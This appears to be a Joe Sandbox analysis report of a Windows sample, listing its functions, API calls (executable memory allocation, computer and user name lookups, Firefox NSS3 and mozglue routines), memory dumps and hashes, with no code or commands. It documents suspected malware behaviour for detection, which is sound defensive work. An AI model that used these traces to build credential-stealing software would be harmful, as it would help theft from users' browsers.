Opcode ID: ee149e3425de34ab22a419ba06f4b9a56a7054195a117058404db0ae7506ba38
Instruction ID: fa4c7b04dc1bb1edeb240a941fc638acc8c20e4742db631e424c44125528f59d
Opcode Fuzzy Hash: ee149e3425de34ab22a419ba06f4b9a56a7054195a117058404db0ae7506ba38
Instruction Fuzzy Hash: 68716271911108ABDB04FBA1DD92DEE7339BF14314F40452EF506A7091EF386A99CBAA

Function 00406660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00406DBE,00406DBE,00003000,00000040), ref: 00406706
VirtualAlloc.KERNEL32(00000000,00406DBE,00003000,00000040), ref: 00406753

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c88b1e9b2e88f96002d04ff86a4b027c1f96a501876601beaf0c86e361432a0f
Instruction ID: cfb135ee3c51d7510548447878d0c09a9e1e3ef004be55e97ea32f204b2e5fca
Opcode Fuzzy Hash: c88b1e9b2e88f96002d04ff86a4b027c1f96a501876601beaf0c86e361432a0f
Instruction Fuzzy Hash: B741EE74A00209EFCB44CF58C494BADBBB1FF44314F1486A9E95AAB385C735EA91CF84

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,00416A1C), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,00416A1C), ref: 004010F7

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction ID: e05e9ea69c75ff17789b13d2c0695db9e8f3777892ad192db41722de5b6306ee
Opcode Fuzzy Hash: 8ce35272a596f1cdf5aa55b7e6bb44489e409ba54c945097ad2cb9ba566d6231
Instruction Fuzzy Hash: F2F052B1681208BBE7109BA4AC49FABB3E8E305B14F301408F500E3380C5319E00CAA4

Function 00418D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00410117,?,00000000,?,00000000,00420DAB,00420DAA), ref: 00418D9F

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c871cb31aa80730e6c3863e948027c928205a45fbceacf019b081eb672cc57e1
Instruction ID: c33170cd47b5ddaf33f3bd529e3e9bd0b8526aec605854159e3974d419e7fdd8
Opcode Fuzzy Hash: c871cb31aa80730e6c3863e948027c928205a45fbceacf019b081eb672cc57e1
Instruction Fuzzy Hash: C0F01574C00208EBCB00EFA4E5496DDBB74EB11324F10819EE826673C0DB796A96DB89

Function 00418DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 5b465c8807639b2bb39dc137b28d8b780a81606de9bc7e98eb0cf81ec8124768
Instruction ID: e82dd92a107a558878b8aedbded484b2d7625ea591a662ceffa58b28bb8b597d
Opcode Fuzzy Hash: 5b465c8807639b2bb39dc137b28d8b780a81606de9bc7e98eb0cf81ec8124768
Instruction Fuzzy Hash: EEE01A75A4034C7BDB91EB90CC96FEE737CDB44B11F004299BA0C5A1C0DE74AB858B91

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: beae5ea4bba28d8bcdb6621297b085ccf5731606b7c52db2eb8bbe7634c0c08e
Instruction ID: 3272f285758621328f1ae990cc0b7bdad84480bea6fe4891c0ce75a2ed71569b
Opcode Fuzzy Hash: beae5ea4bba28d8bcdb6621297b085ccf5731606b7c52db2eb8bbe7634c0c08e
Instruction Fuzzy Hash: 72E0C2B999030123DB0433F2AD0AB6B329D5B0538DF04042EFA08D2252FE2CE84085AE

Function 00409880 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000020,00410759,?,?), ref: 00409888

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 7f10dcdaec539b6f97e29b857dd5b55aac166e971b50c8972073f50d3de9e67a
Instruction ID: cd962e32a7d49cb5ce85c4f0a2f24118ebc1676ac18b43bdebb71eb25e5ca396
Opcode Fuzzy Hash: 7f10dcdaec539b6f97e29b857dd5b55aac166e971b50c8972073f50d3de9e67a
Instruction Fuzzy Hash: C8F054B5D10208FBDB00EFA4D846B9EBBB4EB08300F1084A9E905A7381E6749B14CB95

Non-executed Functions

Function 6C7F6E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C942120,6C7F7E60), ref: 6C7F6EBC
TlsGetValue.KERNEL32 ref: 6C7F6EDF
EnterCriticalSection.KERNEL32(?), ref: 6C7F6EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C7F6F25

Part of subcall function 6C7CA900: TlsGetValue.KERNEL32(00000000,?,6C9414E4,?,6C764DD9), ref: 6C7CA90F
Part of subcall function 6C7CA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C7CA94F

PR_Unlock.NSS3 ref: 6C7F6F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C7F6FA9
TlsGetValue.KERNEL32 ref: 6C7F70B4
EnterCriticalSection.KERNEL32(?), ref: 6C7F70C8
PR_CallOnce.NSS3(6C9424C0,6C837590), ref: 6C7F7104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7F7117
SECOID_Init.NSS3 ref: 6C7F7128
PORT_Alloc_Util.NSS3(00000057), ref: 6C7F714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7F717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7F71A9
PR_NotifyAllCondVar.NSS3 ref: 6C7F71CF
PR_Unlock.NSS3 ref: 6C7F71DD
free.MOZGLUE(?), ref: 6C7F71EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7F7208
free.MOZGLUE(00000000), ref: 6C7F7221
free.MOZGLUE(00000001), ref: 6C7F7235
TlsGetValue.KERNEL32 ref: 6C7F724A
EnterCriticalSection.KERNEL32(?), ref: 6C7F725E
PR_NotifyCondVar.NSS3 ref: 6C7F7273
PR_Unlock.NSS3 ref: 6C7F7281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C7F7291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7F72B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7F72D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7F72E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7F7301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7F7310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7F7335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7F7344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7F7363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C7F7372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C930148,,defaultModDB,internalKeySlot), ref: 6C7F74CC
free.MOZGLUE(00000000), ref: 6C7F7513
free.MOZGLUE(00000000), ref: 6C7F751B
free.MOZGLUE(00000000), ref: 6C7F7528
free.MOZGLUE(00000000), ref: 6C7F753C
free.MOZGLUE(00000000), ref: 6C7F7550
free.MOZGLUE(00000000), ref: 6C7F7561
free.MOZGLUE(00000000), ref: 6C7F7572
free.MOZGLUE(00000000), ref: 6C7F7583
free.MOZGLUE(00000000), ref: 6C7F7594
free.MOZGLUE(00000000), ref: 6C7F75A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C7F75BD
free.MOZGLUE(00000000), ref: 6C7F75C8
free.MOZGLUE(00000000), ref: 6C7F75F1
PR_NewLock.NSS3 ref: 6C7F7636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C7F7686
PR_NewLock.NSS3 ref: 6C7F76A2

Part of subcall function 6C8A98D0: calloc.MOZGLUE(00000001,00000084,6C7D0936,00000001,?,6C7D102C), ref: 6C8A98E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C7F76B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C7F7707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C7F771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C7F7731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C7F774A
DeleteCriticalSection.KERNEL32(?), ref: 6C7F7770
free.MOZGLUE(?), ref: 6C7F7779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7F779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7F77AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C7F77C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C7F77DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C7F7821
PORT_Alloc_Util.NSS3(?), ref: 6C7F7837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C7F785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C7F786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C7F78AC
free.MOZGLUE(00000000), ref: 6C7F78BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C7F78F3
free.MOZGLUE(00000000), ref: 6C7F78FC
free.MOZGLUE(00000000), ref: 6C7F791C

Part of subcall function 6C7D07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C76204A), ref: 6C7D07AD
Part of subcall function 6C7D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C76204A), ref: 6C7D07CD
Part of subcall function 6C7D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C76204A), ref: 6C7D07D6
Part of subcall function 6C7D07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C76204A), ref: 6C7D07E4
Part of subcall function 6C7D07A0: TlsSetValue.KERNEL32(00000000,?,6C76204A), ref: 6C7D0864
Part of subcall function 6C7D07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C7D0880
Part of subcall function 6C7D07A0: TlsSetValue.KERNEL32(00000000,?,?,6C76204A), ref: 6C7D08CB
Part of subcall function 6C7D07A0: TlsGetValue.KERNEL32(?,?,6C76204A), ref: 6C7D08D7
Part of subcall function 6C7D07A0: TlsGetValue.KERNEL32(?,?,6C76204A), ref: 6C7D08FB

Strings

name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C7F74C7
,defaultModDB,internalKeySlot, xrefs: 6C7F748D, 6C7F74AA
Spac, xrefs: 6C7F7389
sql:, xrefs: 6C7F76FE
rdb:, xrefs: 6C7F7744
dll, xrefs: 6C7F788E
dbm:, xrefs: 6C7F7716
NSS Internal Module, xrefs: 6C7F74A2, 6C7F74C6
extern:, xrefs: 6C7F772B
kbi., xrefs: 6C7F7886

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 9a6058901ba019d7c73bb57098469dc81528f3ead27084ff2f11de8082a27885
Instruction ID: 6b6f9b4d2eac0ef90ce730634b7faa610bd6ebfe033d01b2a58578061ee678c1
Opcode Fuzzy Hash: 9a6058901ba019d7c73bb57098469dc81528f3ead27084ff2f11de8082a27885
Instruction Fuzzy Hash: 375214B1E046059BEF219F68CE857AA7BB4BF0930CF248534EC29A7B41E730D955CB91

Function 6C6D5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C6D5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6D54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6D54BE
__Init_thread_footer.LIBCMT ref: 6C6D54DB

Part of subcall function 6C6FAB3F: EnterCriticalSection.KERNEL32(6C74E370,?,?,6C6C3527,6C74F6CC,?,?,?,?,?,?,?,?,6C6C3284), ref: 6C6FAB49
Part of subcall function 6C6FAB3F: LeaveCriticalSection.KERNEL32(6C74E370,?,6C6C3527,6C74F6CC,?,?,?,?,?,?,?,?,6C6C3284,?,?,6C6E56F6), ref: 6C6FAB7C

Part of subcall function 6C6FCBE8: GetCurrentProcess.KERNEL32(?,6C6C31A7), ref: 6C6FCBF1
Part of subcall function 6C6FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6C31A7), ref: 6C6FCBFA

GetCurrentThreadId.KERNEL32 ref: 6C6D54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C6D5516
GetCurrentThreadId.KERNEL32 ref: 6C6D556A
AcquireSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C6D5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C6D5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C6D5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C6D55E6
ReleaseSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C6D5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6D5616

Part of subcall function 6C6FAB89: EnterCriticalSection.KERNEL32(6C74E370,?,?,?,6C6C34DE,6C74F6CC,?,?,?,?,?,?,?,6C6C3284), ref: 6C6FAB94
Part of subcall function 6C6FAB89: LeaveCriticalSection.KERNEL32(6C74E370,?,6C6C34DE,6C74F6CC,?,?,?,?,?,?,?,6C6C3284,?,?,6C6E56F6), ref: 6C6FABD1

GetCurrentThreadId.KERNEL32 ref: 6C6D563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6D5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C6D567C
free.MOZGLUE(?), ref: 6C6D56AE

Part of subcall function 6C6E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C6E5EDB
Part of subcall function 6C6E5E90: memset.VCRUNTIME140(ewrl,000000E5,?), ref: 6C6E5F27
Part of subcall function 6C6E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C6E5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C6D56E8
GetCurrentThreadId.KERNEL32 ref: 6C6D5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C6D570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C6D5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C6D574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C6D576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C6D5796
